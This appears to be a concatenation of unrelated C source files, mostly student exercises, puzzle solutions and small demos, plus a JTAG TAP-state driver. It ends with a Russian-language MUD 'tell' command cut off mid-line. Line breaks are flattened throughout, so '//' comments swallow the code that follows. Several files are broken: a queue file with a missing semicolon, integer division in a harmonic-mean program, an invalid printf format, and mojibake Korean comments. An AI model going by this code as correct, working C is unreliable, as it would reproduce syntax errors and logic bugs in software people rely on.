#include <stdio.h> #include <inttypes.h> #include "TAP_LookUpTable.h" #include "TAP.h" #include "global.h" #include "TAP_StateTable.h" #include "jtagLowLevel.h" extern TapState currentTapState; /* @desc return the name of TAP state in string instead of number(enum) @retval TAP state in string */ char *getTapStateName(TapState tapState){ switch(tapState){ case TEST_LOGIC_RESET : return "TEST_LOGIC_RESET"; break; case RUN_TEST_IDLE : return "RUN_TEST_IDLE"; break; case SELECT_DR_SCAN : return "SELECT_DR_SCAN"; break; case CAPTURE_DR : return "CAPTURE_DR"; break; case SHIFT_DR : return "SHIFT_DR"; break; case EXIT1_DR : return "EXIT1_DR"; break; case PAUSE_DR : return "PAUSE_DR"; break; case EXIT2_DR : return "EXIT2_DR"; break; case UPDATE_DR : return "UPDATE_DR"; break; case SELECT_IR_SCAN : return "SELECT_IR_SCAN"; break; case CAPTURE_IR : return "CAPTURE_IR"; break; case SHIFT_IR : return "SHIFT_IR"; break; case EXIT1_IR : return "EXIT1_IR"; break; case PAUSE_IR : return "PAUSE_IR"; break; case EXIT2_IR : return "EXIT2_IR"; break; case UPDATE_IR : return "UPDATE_IR"; break; default: return "Invalid TAP state"; } } /* @param current TAP State and current TMS state @desc Reset to TEST_LOGIC_RESET state no matter current state. */ TapState updateTapState(TapState currentState, int tms){ TapState retval; if(tms == 1) retval = (tapTrackTable[currentState].nextState_tms1); else if(tms == 0) retval = (tapTrackTable[currentState].nextState_tms0); return retval; } /* * Reset the TAP controller state to TEST_LOGIC_RESET * state. */ void resetTapState(){ int i = 0; while(i < 5){ jtagClkIoTms(0, 1); currentTapState = updateTapState(currentTapState, 1); i++; } } /* * Transition of TAP state from parameter "start" * to "end" */ void tapTravelFromTo(TapState start, TapState end){ int tmsRequired; while(currentTapState != end){ tmsRequired = getTmsRequired(currentTapState, end); jtagClkIoTms(0, tmsRequired); currentTapState = updateTapState(currentTapState, tmsRequired); } } void jtagWriteTms(uint64_t data, int length){ int dataMask = 1; int oneBitData = 0; while(length > 0){ oneBitData = dataMask & data; jtagClkIoTms(0, oneBitData); length--; data = data >> 1; } } void switchSwdToJtagMode(){ jtagWriteTms(0x3FFFFFFFFFFFF, 50); jtagWriteTms(0xE73C, 16); resetTapState(); } uint64_t jtagWriteAndReadBits(uint64_t data, int length){ int dataMask = 1; int oneBitData = 0; uint64_t tdoData = 0; int i = 0; int n = 0; uint64_t outData = 0; // noted that last bit of data must be set at next tap state for (n = length ; n > 1; n--) { oneBitData = dataMask & data; tdoData = jtagClkIoTms(oneBitData, 0); currentTapState = updateTapState(currentTapState, 0); outData |= tdoData << (i*1); data = data >> 1; i++; } oneBitData = dataMask & data; tdoData = jtagClkIoTms(oneBitData, 1); currentTapState = updateTapState(currentTapState, 1); outData |= tdoData << (i*1);; return outData; } void loadJtagIR(int instructionCode, int length, TapState start){ tapTravelFromTo(start, SHIFT_IR); jtagWriteAndReadBits(instructionCode, length); tapTravelFromTo(EXIT1_IR, RUN_TEST_IDLE); } uint64_t jtagWriteAndRead(uint64_t data, int length){ uint64_t outData = 0; tapTravelFromTo(RUN_TEST_IDLE, SHIFT_DR); outData = jtagWriteAndReadBits(data, length); tapTravelFromTo(EXIT1_DR, RUN_TEST_IDLE); return outData; } uint64_t jtagBypass(int instruction, int instructionLength, int data, int dataLength){ uint64_t valRead = 0; loadJtagIR(instruction, instructionLength, RUN_TEST_IDLE); valRead = jtagWriteAndRead(data,dataLength); jtagSetIr(BYPASS); return valRead; } void loadBypassRegister(int instruction, int instructionLength, int data, int dataLength){ loadJtagIR(instruction, instructionLength, RUN_TEST_IDLE); jtagWriteAndRead(data, dataLength); } uint64_t jtagReadIdCode(int instructionCode, int instructionLength, int data, int dataLength){ uint64_t valRead = 0; loadJtagIR(instructionCode, instructionLength, RUN_TEST_IDLE); valRead = jtagWriteAndRead(data, dataLength); jtagSetIr(IDCODE); return valRead; } uint64_t jtagReadIDCodeResetTAP(int data, int dataLength){ uint64_t valRead = 0; resetTapState(); tapTravelFromTo(TEST_LOGIC_RESET, SHIFT_DR); valRead = jtagWriteAndReadBits(data, dataLength); tapTravelFromTo(EXIT1_DR, RUN_TEST_IDLE); return valRead; }
C
#include<stdio.h> #include<string.h> #include<stdlib.h> int main(){ int table[35][35]; int N,i,j,col,row; int MAX; char ele[35][35][3005]; while(scanf("%d",&N),N){ memset(ele,0,sizeof(ele)); for(i=0;i<N;i++) for(row=i,col=0;row>=0;col++,row--) scanf("%d",&table[row][col]); for(i=1;i<N;i++) for(row=N-1,col=i;col<N;col++,row--) scanf("%d",&table[row][col]); ele[0][0][abs(table[0][0])]=1; MAX=(2*N-1)*50+1; for(i=0;i<N;i++){ for(row=i,col=0;row>=0;col++,row--){ for(j=0;j<MAX;j++){ if(ele[row][col][j]==0) continue; if(col<N-1){ ele[row][col+1][abs(j-table[row][col+1])]=1; ele[row][col+1][abs(j+table[row][col+1])]=1; } if(row<N-1){ ele[row+1][col][abs(j+table[row+1][col])]=1; ele[row+1][col][abs(j-table[row+1][col])]=1; } } } } for(i=1;i<N;i++){ for(row=N-1,col=i;col<N;col++,row--){ for(j=0;j<MAX;j++){ if(ele[row][col][j]==0) continue; if(col<N-1){ ele[row][col+1][abs(j-table[row][col+1])]=1; ele[row][col+1][abs(j+table[row][col+1])]=1; } if(row<N-1){ ele[row+1][col][abs(j+table[row+1][col])]=1; ele[row+1][col][abs(j-table[row+1][col])]=1; } } } } for(i=0;i<MAX;i++) if(ele[N-1][N-1][i]){ printf("%d\n",i); break; } } return 0; }
C
/* ** EPITECH PROJECT, 2020 ** my_compute_square_root ** File description: ** Calculate power root */ int my_compute_power_rec(int nb, int p); int my_compute_square_root(int nb) { if (nb == 1) return (1); if (nb < 1) return (0); for (int i = 1; i <= nb/2; i++) { if (i * i == nb) return (i); if (i * i > nb || i * i < 0) return (0); } return (0); }
C
// lesson nine on the c language #include <stdio.h> #include <stdlib.h> #include <string.h> struct product { float price; char productName[30]; struct product *next; }; struct product *pFirstNode = NULL; struct product *pLastNode = NULL; void createNewList(){ struct product *pNewStruct = (struct product *) malloc(sizeof(struct product)); pNewStruct->next = NULL; printf("Enter product name: "); scanf("%s", &(pNewStruct)->productName); printf("Enter product price: "); scanf("%f", &(pNewStruct)->price); // When we are creating new struct we are going to be sure // that our first node is our last node and it is also // our new node. pFirstNode = pLastNode = pNewStruct; } void inputData(){ // If our first node in the list has point to the next struct NULL value // we want to initialize a function that will create this new list if(pFirstNode == NULL){ createNewList(); } else { struct product *pNewStruct = (struct product *) malloc(sizeof(struct product)); printf("Enter product name: "); scanf("%s", &(pNewStruct)->productName); printf("Enter product price: "); scanf("%f", &(pNewStruct)->price); // Now we want work with the second struct in the list if(pFirstNode == pLastNode){ // Here we place point to next struct our pNewStruct pFirstNode->next = pNewStruct; // But then our pLastNode is this new struct pLastNode = pNewStruct; // And also we need to put NULL value inside 'point to next struct' for this last struct pNewStruct->next = NULL; } else { // Here we will work with not the first, not the second // but the third and every other node thereafter pLastNode->next = pNewStruct; // Since it is last item in the list - next is equal to null pNewStruct->next = NULL; pLastNode = pNewStruct; } } } void outputData(){ // To output data we need to move through all the // product structs in our list untill the last // pinter will be NULL struct product *pProducts = pFirstNode; printf("Products entered: \n\n"); while(pProducts != NULL){ printf("%s costs %.2f\n", pProducts->productName, pProducts->price); // After printing out and continue looping through the list // we are going to change the location pProducts = pProducts->next; } } // We are going to create global for the function productToDelete struct product *pProductBeforeProductToDelete = NULL; // This function is going to return struct because then we are going to find and // delete set product. It is going to receive product name // struct product* searchForProduct(char * productName){ // We are going to create new struct that is holding // our struct as we cycling through all of them. struct product *pProductIterator = pFirstNode; while(pProductIterator != NULL){ // We are going to compare the first 30 characters of the product names // 30 characters comes from the value we set at the very begining // when we created struct for a product 'char productName[30]' int areTheyEqual = strncmp(pProductIterator->productName, productName, 30); // NOTE: we need to place '!' (not operator) because strncmp returns // '0' (zero) if it will find a match if(!areTheyEqual){ printf("%s was found and it costs %.2f\n\n", pProductIterator->productName, pProductIterator->price ); return pProductIterator; } // We are assigning pProductBeforeProductToDelete before pProductIterator // will change it's value. pProductBeforeProductToDelete = pProductIterator; // We are changing the pProductIterator to the next product pProductIterator = pProductIterator->next; } printf("%s wasn't found\n\n", productName); // In this way we have to return something so we return NULL return NULL; } void removeProduct(char * productName){ struct product *pProductToDelete = NULL; pProductToDelete = searchForProduct(productName); if(pProductToDelete != NULL){ printf("%s was deleted\n\n", productName); // And if this product is the first product in our list // and we want it to delete we must define the next product in the list // to the first node. if(pProductToDelete == pFirstNode){ pFirstNode = pProductToDelete->next; } else { // We need to got pProductToDelete and assigned it next to the product // that before the product is deleted pProductBeforeProductToDelete->next = pProductToDelete->next; } free(pProductToDelete); } else { // If we did not find a product printf("%s was not found", productName); } } int main(){ inputData(); inputData(); inputData(); outputData(); removeProduct("Tomato"); outputData(); return 0; }
C
#ifndef CACHEGRAND_DOUBLE_LINKED_LIST_H #define CACHEGRAND_DOUBLE_LINKED_LIST_H #ifdef __cplusplus extern "C" { #endif typedef struct double_linked_list double_linked_list_t; typedef struct double_linked_list_item double_linked_list_item_t; struct double_linked_list_item { double_linked_list_item_t *prev; double_linked_list_item_t *next; void* data; }; struct double_linked_list { uint32_t count; double_linked_list_item_t *head; double_linked_list_item_t *tail; }; double_linked_list_item_t* double_linked_list_item_init(); void double_linked_list_item_free( double_linked_list_item_t *item); double_linked_list_t* double_linked_list_init(); void double_linked_list_free( double_linked_list_t *list); void double_linked_list_insert_item_before( double_linked_list_t *list, double_linked_list_item_t *item, double_linked_list_item_t *before_item); void double_linked_list_insert_item_after( double_linked_list_t *list, double_linked_list_item_t *item, double_linked_list_item_t *after_item); void double_linked_list_push_item( double_linked_list_t *list, double_linked_list_item_t *item); double_linked_list_item_t * double_linked_list_pop_item( double_linked_list_t *list); void double_linked_list_unshift_item( double_linked_list_t *list, double_linked_list_item_t *item); double_linked_list_item_t * double_linked_list_shift_item( double_linked_list_t *list); void double_linked_list_remove_item( double_linked_list_t *list, double_linked_list_item_t *item); void double_linked_list_move_item_to_head( double_linked_list_t *list, double_linked_list_item_t *item); void double_linked_list_move_item_to_tail( double_linked_list_t *list, double_linked_list_item_t *item); double_linked_list_item_t *double_linked_list_iter_next( double_linked_list_t *list, double_linked_list_item_t *current_item); double_linked_list_item_t *double_linked_list_iter_prev( double_linked_list_t *list, double_linked_list_item_t *current_item); #define DOUBLE_LINKED_LIST_ITER_FORWARD(list, item, ...) { \ double_linked_list_item_t *item = list->head; \ while(item != NULL) { \ __VA_ARGS__ \ item = item->next; \ } \ } #define DOUBLE_LINKED_LIST_ITER_BACKWARD(list, item, ...) { \ double_linked_list_item_t *item = list->tail; \ while(item != NULL) { \ __VA_ARGS__ \ item = item->prev; \ } \ } #ifdef __cplusplus } #endif #endif //CACHEGRAND_DOUBLE_LINKED_LIST_H
C
/* * @lc app=leetcode.cn id=378 lang=c * * [378] 有序矩阵中第 K 小的元素 * * https://leetcode-cn.com/problems/kth-smallest-element-in-a-sorted-matrix/description/ * * algorithms * Medium (63.17%) * Likes: 657 * Dislikes: 0 * Total Accepted: 78.2K * Total Submissions: 122.4K * Testcase Example: '[[1,5,9],[10,11,13],[12,13,15]]\n8' * * 给你一个 n x n 矩阵 matrix ,其中每行和每列元素均按升序排序,找到矩阵中第 k 小的元素。 * 请注意,它是 排序后 的第 k 小元素,而不是第 k 个 不同 的元素。 * * * * 示例 1: * * * 输入:matrix = [[1,5,9],[10,11,13],[12,13,15]], k = 8 * 输出:13 * 解释:矩阵中的元素为 [1,5,9,10,11,12,13,13,15],第 8 小元素是 13 * * * 示例 2: * * * 输入:matrix = [[-5]], k = 1 * 输出:-5 * * * * * 提示: * * * n == matrix.length * n == matrix[i].length * 1 * -10^9 * 题目数据 保证 matrix 中的所有行和列都按 非递减顺序 排列 * 1 * * */ // @lc code=start int func(int ** matrix, int matrixSize, int val) { int num = 0; int j = 0; int i = matrixSize-1; //错误: i/j的初始值弄反了;从左下脚开始计算 while (i >= 0 && j <= matrixSize-1) { if (matrix[i][j] <= val) { num += i+1; j++; } else { i--; } } return num; } // 错误:大的思路正确,使用二分法,但是对于如何求func没有想到好方法,最终看题解完成的 // 看过题解后发现出了暴力解题法,还有堆的方式,求第K大或小都可以用堆解决 int kthSmallest(int** matrix, int matrixSize, int* matrixColSize, int k){ int mid = 0; int left = matrix[0][0]; int right = matrix[matrixSize-1][matrixSize-1]; while (left <= right) { mid = left+(right-left)/2; if (func(matrix,matrixSize,mid) < k) { left = mid+1; } else if (func(matrix,matrixSize,mid) == k) { // break; //为什么不是break?小于等于k个可能有多个数,甚至有的数不在矩阵中,通过找最左侧数能解决问题 right = mid - 1; // left = mid +1; } else { right = mid - 1; } } return left; } // @lc code=end
C
/*5. Accept two numbers and print arithmetic and harmonic mean of the two numbers (Hint: AM= (a+b)/2 , HM = ab/(a+b) ) */ #include <stdio.h> int main() { int n1, n2; float arithmetic_mean, harmonic_mean; printf("Enter two numbers : "); scanf("%d%d", &n1, &n2); arithmetic_mean = (n1 + n2) / 2; harmonic_mean = (n1 * n2) / (n1 + n2); printf("Arithmetic Mean : %f\n", arithmetic_mean); printf("Harmonic Mean : %f\n", harmonic_mean); return 0; }
C
/* Name: * ID: */ #include <stdio.h> #include <stdlib.h> // #include <string.h> #include "mergesort.h" void merge(Entry *output, Entry *L, int nL, Entry *R, int nR) { int i = 0, j = 0, k = 0; while(k < nL+nR){ //Get the slot of the those entry Entry *cL = L+i; Entry *cR = R+j; Entry *cO = output+k; //Check and assign (sorting) //Checking Null doesnt really work so we look at the size // printf("Before pushing == i: %d, j: %d,total: %d\n", i, j, nL+nR); if ((nL > i && j < nR && cL->data < cR->data) || nR <= j){ // printf("Push in left\n"); cO->data = cL->data; cO->name = cL->name; i++; }else{ // printf("Push in right\n"); cO->data = cR->data; cO->name = cR->name; j++; } k++; // printf("After pushing == i: %d, j: %d,total: %d\n", i, j, nL+nR); } } //Printing the content of the entries, for debugging cus seriously you need it void print_entries(Entry *entries, int n){ printf("entries content:\n"); for (int i = 0; i < n; ++i){ printf("%d %s\n", ((entries+i)->data),(entries+i)->name); } } void merge_sort(Entry *entries, int n) { if (n > 1){ //Set up variables Entry *temp = (Entry *) malloc(sizeof(Entry)*n); int rSize = n/2; int lSize = n-rSize; Entry *R = (Entry *) malloc(sizeof(Entry)*rSize); Entry *L = (Entry *) malloc(sizeof(Entry)*lSize); //Copy content over from entries to L and R. for (int i = 0; i < n; ++i){ if (i < lSize){ (L+i)->data = (entries+i)->data; (L+i)->name = (entries+i)->name; }else{ (R+i-lSize)->data = (entries+i)->data; (R+i-lSize)->name = (entries+i)->name; } } //merg time if(lSize > 1){ merge_sort(L,lSize); } if (rSize > 1){ merge_sort(R,rSize); } merge(temp,L,lSize,R,rSize); //Copy content from temp to entries for (int i = 0; i < n; ++i){ (entries+i)->data = (temp+i)->data; (entries+i)->name = (temp+i)->name; } //Free everything that you malloc in this instance free(R); free(L); free(temp); temp = NULL; R = NULL; L = NULL; } } int myStrlen(char *word){ int count = 0; while(word && count <= MAX_NAME_LENGTH){ word++; count++; } return count; } void myStrcpy(char *dest, char *src){ int i; for (i = 0; i < myStrlen(src); ++i){ dest[i] = src[i]; } dest[i] = '\0'; } /* TEST: ./mergesort < test.in OUTPUT: 1 lsdfjl 2 ghijk 3 ksdljf 5 abc 6 def */ int main(void) { // IMPLEMENT int n; scanf("%d", &n); Entry *entries = (Entry *) malloc(sizeof(Entry)*n); //Take input, have to copy the string inside for (int i = 0; i < n; ++i){ int tmp; char name[MAX_NAME_LENGTH]; scanf("%d %s", &tmp,name); entries[i].data = tmp; entries[i].name = (char *) malloc(sizeof(char) * (MAX_NAME_LENGTH+1)); myStrcpy(entries[i].name,name); } merge_sort(entries,n); //print out entries for (int i = 0; i < n; ++i){ printf("%d %s\n", ((entries+i)->data),(entries+i)->name); } //Free the name first then free the entries for (int i = 0; i < n; ++i){ free((entries[i]).name); (entries[i]).name = NULL; } free(entries); entries = NULL; }
C
#include <stdio.h> #include <mpi.h> int my_id,nproc,result; char name[50]; int main(int argc, char** argv){ MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD,&my_id); MPI_Comm_size(MPI_COMM_WORLD,&nproc); MPI_Get_processor_name(name,&result); name[result]='\0'; printf(" Hola mundo yo soy %d de %d corriendo en %s con %d \n ", my_id,nproc,name, result); MPI_Finalize(); return 0; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* search_dict.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: acolin <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/25 10:43:55 by acolin #+# #+# */ /* Updated: 2021/09/27 16:05:47 by acolin ### ########.fr */ /* */ /* ************************************************************************** */ #include "../includes/utils.h" int count_file_size(char *filename, int count) { int file_d; int reader; char buffer[1]; file_d = open(filename, O_RDONLY); if (file_d < 0) { ft_putstr("Dict Error\n"); return (0); } reader = read(file_d, buffer, 1); if (reader < 0) { ft_putstr("Dict Error\n"); return (0); } count++; while (reader) { reader = read(file_d, buffer, 1); count++; } close(file_d); return (count); } char *str_fichier(char *filename) { char *str; int file_d; int count; int reader; count = 0; count = count_file_size(filename, count); if (count == 0) return (0); str = malloc(sizeof(char) * count + 1); file_d = open(filename, O_RDONLY); if (file_d < 0) { ft_aff_error_dict(str); return (0); } reader = read(file_d, str, count); if (reader < 0) { ft_aff_error_dict(str); return (0); } close(file_d); return (ft_check_file(str)); } t_val *creat_tab(char *filename) { t_val *valeurs; char **tab; int i; int j; tab = ft_tab(filename); if (!tab) return (0); i = 0; j = 0; while (tab[i]) { printf("%s\n", tab[i]); i++; } valeurs = malloc(sizeof(t_val) * (i / 2) + 1); i--; while (i > 0) { valeurs[j].text = ft_strdup(tab[i]); i--; valeurs[j].nb = ft_atoi(tab[i]); i--; j++; } valeurs[j].text = 0; free_tab(tab); return (valeurs); } int ft_solve(t_val *valeurs, int i, unsigned __int128 nb) { if (valeurs[i].text == 0 || valeurs == 0) return (0); else if (nb < 100 && valeurs[i].nb - nb == 0) { ft_putstr(valeurs[i].text); return (1); } else if (nb / valeurs[i].nb != 0) { if (nb >= 100) ft_solve(valeurs, i + 1, nb / valeurs[i].nb); if (nb >= 100) ft_putchar(' '); ft_putstr(valeurs[i].text); if (nb % valeurs[i].nb != 0) ft_putchar(' '); if (nb % valeurs[i].nb != 0) ft_solve(valeurs, i + 1, nb % valeurs[i].nb); return (1); } else return (ft_solve(valeurs, (i + 1), nb)); } int start(char *nb, char *filename) { t_val *valeurs; int i; __int128 nbs; valeurs = creat_tab(filename); if (!valeurs) return (0); ft_sort_tab(valeurs); i = 0; if (ft_verif_nb(nb)) { ft_aff_error(valeurs); return (0); } nbs = ft_atoi(nb); if (nbs < 0) { ft_aff_error(valeurs); return (0); } ft_solve(valeurs, i, ft_atoi(nb)); free_valeurs(valeurs); ft_putchar('\n'); return (0); }
C
// write a program to detect a loop in a linkedlist. // once loop is detected we need to find the joint node // After finding the joint node remove the loop withe joint node #include<stdio.h> #include<stdlib.h> struct node { int data; struct node *next; }; void push(struct node **headRef,int data); void printList(struct node *headRef); void detectLoop(struct node *headRef); void removeLoopNode(struct node *headRef,struct node *cnode); void deleteList(struct node **headRef); int main(){ struct node *head = NULL; push(&head,1); push(&head,2); push(&head,3); push(&head,4); push(&head,5); printList(head); detectLoop(head); //add a loop printf("head->next->next->next->next->data: %d \n",head->next->next->next->next->data); printf("head->next->next->next->next->data: %d \n",head->next->next->data); head->next->next->next->next->next = head->next->next; printList(head); //detect and remove loop detectLoop(head); printList(head); deleteList(&head); return 0; } //push the node at front of list void push(struct node **headRef,int data) { struct node *newnode = (struct node *)malloc(sizeof(struct node)); newnode->data= data; newnode->next = NULL; newnode->next = (*headRef); (*headRef)=newnode; } void printList(struct node *headRef) { int count =10; while(headRef !=NULL && count>0 ) { printf("%d ",headRef->data); headRef = headRef->next; count--; } printf("\n"); } void deleteList(struct node **headRef) { struct node *curr=NULL,*prev=NULL; curr=prev=(*headRef); while(curr != NULL) { prev = curr; curr = curr->next; free(prev); } //dereference the head node (*headRef)=NULL; } //floyds cycle detection algorithm void detectLoop(struct node *headRef) { struct node *slowpointer = NULL; struct node *fastpointer = NULL; slowpointer = fastpointer = headRef; //printf("slow pointer= %d \n ",slowpointer->data); //printf("fast pointer= %d \n",fastpointer->data); while(slowpointer && fastpointer && fastpointer->next) { slowpointer=slowpointer->next; fastpointer=fastpointer->next->next; //printf("slow pointer= %d \n",slowpointer->data); //printf("fast pointer= %d \n",fastpointer->data); if(slowpointer == fastpointer){ printf("slow pointer == fast pointer \n loop detected \n"); removeLoopNode(headRef,slowpointer); return; } } printf("loop not found \n "); } void removeLoopNode(struct node *headRef,struct node *cnode) { struct node *headStartNode =NULL; struct node *cnodeStartNode = NULL; headStartNode = headRef; while(1) { //in each loop reset the common node position cnodeStartNode = cnode; while(cnodeStartNode->next !=cnode && cnodeStartNode->next != headStartNode) { //move the cnodeStart node to next node cnodeStartNode = cnodeStartNode->next; } if( cnodeStartNode->next == headStartNode ) { printf("joint found \n"); printf("cnodeStartNode node value:%d \n",cnodeStartNode->data); printf("headstartnode value:%d \n",headStartNode->data); break; } //move headRef to next node headStartNode = headStartNode->next; printf(" headStartNode:%d \n",headStartNode->data); } //remove the loop connection by removing the joint node cnodeStartNode->next=NULL; }
C
#include <stdio.h> int main(void) { double pi = 3.14159; printf("%6.0\n",pi); printf("123456\n"); return 0; }
C
#include<stdio.h> int main() { int ch; printf("Enter your choice:"); scanf("%d", &ch); switch(ch) { case 1: printf("Pizza,Rs-239"); break; case 2: printf("Burger, Rs 129"); break; case 3: printf("Pasta, Rs 179"); break; case 4: printf("French Fries, Rs 99"); break; case 5: printf("Sandwich, Rs 149"); break; default: printf("out of choice"); break; } }
C
/* Stubs imitating the external functions to test handling of the calls to * such functions. * * gcc -c -o stubs.o stubs.c */ #include <stdio.h> #include <stdlib.h> void * vmalloc(unsigned long size) { printf("[STUB] vmalloc(%lu)\n", size); return malloc(size); } void vfree(void *addr) { printf("[STUB] vfree(%p)\n", addr); free(addr); } int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, const char *name) { printf("[STUB] alloc_chrdev_region(%p, %u, %u, %s)\n", dev, baseminor, count, name); *dev = 0x12; return 0; /* success */ } void unregister_chrdev_region(dev_t from, unsigned count) { printf("[STUB] unregister_chrdev_region(%lu, %u)\n", (unsigned long)from, count); } void * __kmalloc(size_t size, unsigned int flags) { printf("[STUB] __kmalloc(%lu, %x)\n", (unsigned long)size, flags); return malloc(size); } void kfree(void *addr) { printf("[STUB] kfree(%p)\n", addr); free(addr); }
C
#include "key.h" // KeyValue ڷ 뿡 ޶ ̴. Key* Key_new(void) { Key* _this = NewObject(Key); _this->_value = NULL; return _this; }// ⺻ Key* Key_newWith(KeyValue aValue) { Key* _this = NewObject(Key); _this->_value = aValue; return _this; } // Ű ־ void Key_delete(Key* _this) { free(_this); } void Key_setValue(Key* _this, KeyValue newValue) { _this->_value = newValue; } KeyValue Key_value(Key* _this) { return _this->_value; } int Key_compareTo(Key* aKey, Key* _this) { if (_this->_value < aKey->_value) return -1; else if (_this->_value == aKey->_value) return 0; else return +1; } // _this ü Ű aKey ü Ű Ѵ. // _this ü Ű -1, 0, ũ +1 ´.
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_print_f2.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: crath <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/05/30 12:32:47 by crath #+# #+# */ /* Updated: 2019/05/30 12:32:55 by crath ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_printf.h" static void ft_return_char(t_float *flt, t_format *lst) { if (flt->sign != 0 && flt->spec_value != 1) { ft_putchar('-'); } else { if (lst->flags & SHOWSIGN_FLAG && flt->spec_value != 1) ft_putchar('+'); if ((lst->flags & ZERO_FLAG) && !(lst->flags & SPACE_FLAG) && !flt->spec_value) ft_putchar('0'); if (lst->flags & SPACE_FLAG) ft_putchar(' '); } } static int ft_max(int a, int b) { if (b > a) return (b); else return (a); } long ft_power(int base, int power) { int i; long res; i = 0; res = 1; while (i < power) { res *= base; i++; } return (res); } int ft_minus_flag(char *res, t_format *lst, t_float *flt) { int l; lst->width = ft_max(lst->width, ft_strlen(res) + flt->sign); l = 0; if (lst->flags & LEFTFORMAT_FLAG) { ft_return_char(flt, lst); ft_putstr(res); l = ft_putnchar(' ', lst->width - (ft_strlen(res) + flt->sign)); } else { if (lst->flags & ZERO_FLAG && !flt->spec_value) { ft_return_char(flt, lst); l = ft_putnchar('0', lst->width - ft_strlen(res) - flt->sign); } else { l = ft_putnchar(' ', lst->width - ft_strlen(res) - flt->sign); ft_return_char(flt, lst); } ft_putstr(res); } return (l + ft_strlen(res) + flt->sign); }
C
/* * Pthread Joinig * page 30 * */ #include <pthread.h> #include <stdio.h> #define NUM_THREADS 3 void *BusyWork(void *null){ int i; double result= 0.0; for(i=0; i< 1000000; i++) result = result + (double)random(); printf("result = %e\n", result); pthread_exit((void*) 0); } int main(int argc, char* argv[]) { pthread_t thread[NUM_THREADS]; pthread_attr_t attr; int rc, t, status; pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); for(t =0; t<NUM_THREADS; t++){ printf("Creating thread %d\n", t); rc = pthread_create(&thread[t], &attr, BusyWork, NULL); if(rc){ printf("ERROR;, %d\n", rc); exit(-1); } } pthread_attr_destroy(&attr); for(t=0; t<NUM_THREADS ;t++){ rc = pthread_join(thread[t], (void**)status); if(rc){ printf("ERROR; return code form pthread_join() is %d\n", rc); exit(-1); } printf("completed join whith thread %d status = %d\n", t, status); } pthread_exit(NULL); }
C
#include <unistd.h> #include <stdlib.h> #include <stdio.h> int main(int argc, char **argv) { int isstack = 222; switch(vfork()) { case -1: exit(-1); case 0: sleep(3); write(STDOUT_FILENO, "child executing\n", 16); isstack *= 3; _exit(EXIT_SUCCESS); default: write(STDOUT_FILENO, "parent executing\n", 17); printf("isstack=%d\n", isstack); exit(EXIT_SUCCESS); } }
C
#include "queue.h" #include <stdlib.h> void main(int argc, char const *argv[]) { Queue q ; QueueEntry e ; CreatQueue(&q); Append(e,&q); } void CreatQueue(Queue *pq) { pq->front = 0 ; pq->rear = -1 ; pq->size = 0 ; } void Append(QueueEntry e , Queue *pq) { if (pq->rear == MAXQUEUE) { pq->rear = 0 } else { pq->entry[pq->rear] = e ; pq->rear++ ; pq->size++ ; } } void Retrieve(QueueEntry *pe ,Queue *pq) { *pe = pq->entry[pq->front]; pq->size-- ; }
C
// // AOJ0027.c // // // Created by n_knuu on 2014/02/22. // // #include <stdio.h> int main(void){ int i=0,j,k,sum,n,month[100],date[100],md[12]={31,29,31,30,31,30,31,31,30,31,30,31}; while(1){ scanf("%d %d",&month[i],&date[i]); if(month[i]==0) break; i++; } for(j=0;j<i;j++){ sum=0; for(k=0;k<month[j]-1;k++) sum+=md[k]; sum+=date[j]; n=sum%7; switch (n) { case 1: printf("Thursday\n"); break; case 2: printf("Friday\n"); break; case 3: printf("Saturday\n"); break; case 4: printf("Sunday\n"); break; case 5: printf("Monday\n"); break; case 6: printf("Tuesday\n"); break; case 0: printf("Wednesday\n"); break; } } return 0; }
C
/* tell.c */ inherit M_COMMAND; string *usage(void) { string *lines; lines = ({ "Использование: сказать [-h] КОМУ ЧТО" }); lines += ({ "" }); lines += ({ "Отправить сообщение указанному игроку. Если вы хотите сказать что-то " }); lines += ({ "игроку из другого мада, используйте user@MUD. Если в названии мада " }); lines += ({ "есть пробелы, вам нужно заключить его в \"'." }); lines += ({ "" }); lines += ({ "Опции:" }); lines += ({ "\t-h\tПомошь, вызывает эту справку." }); lines += ({ "Examples:" }); lines += ({ "\tсказать туор я твой фанат." }); lines += ({ "\tсказать \"sirdude@Dead Souls Dev\" Hi how are you?" }); lines += get_alsos(); return lines; } void setup_alsos() { add_also("player", "bug"); add_also("player", "chan"); add_also("player", "emote"); add_also("player", "rsay"); add_also("player", "say"); add_also("player", "shout"); add_also("player", "whisper"); add_also("player", "wizcall"); add_also("wiz", "echo"); add_also("wiz", "echoto"); add_also("wiz", "ssay"); add_also("wiz", "sysmsg"); add_also("wiz", "translate"); add_also("wiz", "wizlog"); add_also("admin", "wall"); } static void main(string who) { object usr; string what, where; if (!alsos) { setup_alsos(); } if (empty_str(who)) { this_player()->more(usage()); return; } if (sscanf(who, "-%s", who)) { this_player()->more(usage()); return; } if (sscanf(who, "\"%s\" %s", who, what) != 2) { sscanf(who, "%s %s", who, what); } if (!what || (what == "")) { write("Что и кому вы хотите сказать?\n"); return; } if (sscanf(who, "%s@%s", who, where) == 2) { /* intermud tell */ IMUD_D->do_tell(who, where, what); this_player()->message("Вы сказали %^PLAYER%^" + capitalize(who) + "@" + where + "%^RESET%^: %^TELL_TO%^" + what + "%^RESET%^\n", 1); } else { who = lowercase(who); usr = USER_D->find_player(who); if (usr && (!usr->query_ignored(this_player()->query_name()) || query_wizard(this_player()))) { if (this_player()->query_gender() == "male") { usr->message("%^PLAYER%^" + this_player()->query_Name() + "%^RESET%^%^TELL_FROM%^ сказал вам: " + what + "%^RESET%^\n", 1); } else if (this_player()->query_gender() == "female") { usr->message("%^PLAYER%^" + this_player()->query_Name() + "%^RESET%^%^TELL_FROM%^ сказала вам: " + what + "%^RESET%^\n", 1); } else { usr->message("%^PLAYER%^" + this_player()->query_Name() + "%^RESET%^%^TELL_FROM%^ сказало вам: " + what + "%^RESET%^\n", 1); } usr->set_last_tell(lowercase(this_player()->query_name())); this_player()->message("Вы сказали " + "%^PLAYER%^" + 